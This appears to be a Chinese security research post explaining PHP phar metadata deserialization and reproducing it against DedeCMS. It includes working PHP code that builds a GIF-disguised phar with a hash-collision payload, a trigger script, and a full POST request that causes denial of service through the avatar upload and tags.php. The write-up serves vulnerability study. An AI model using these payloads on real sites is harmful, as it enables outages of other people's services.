本文来自 ChaMd5安全团队审计组 呆哥,文章内容以思路为主。
引言
漏洞原理
跟进PHP内核可以看到,当内核调用phar_parse_metadata()解析metadata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
漏洞利用
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');
<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://avatar.phar");
$endTime = microtime(true);
echo '执行时间: '.($endTime - $startTime). ' 秒';
漏洞实例复现
这里我要利用DedeCMS一个很出名的漏洞点,这个漏洞最初被用于探测后台目录,之后在“巅峰极客”比赛中被当做SSRF攻击利用,现在我要利用这个漏洞点构造phar反序列化来产生拒绝服务攻击!
首先通过织梦的头像上传点来上传phar文件(avatar.jpg)
文件位置: /member/edit_face.php
由于DedeCMS默认的上传文件大小被限制为50K,所以我们要修改一下配置文件:
找到\data\config.cache.inc.php,
把$cfg_max_face修改为5000
上传成功后就会显示出文件的相对路径,然后直接构造如下数据包即可验证漏洞:
POST /uploads/tags.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencode
Content-Length: 136
dopost=save&_FILES[lsa][tmp_name]=phar://uploads/userup/3/myface.jpg&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif
参考
[1]https://www.lorexxar.cn/2017/11/10/hitcon2017-writeup/
[2]http://php.net/manual/en/book.phar.php
[3]https://blog.ripstech.com/2018/new-php-exploitation-technique/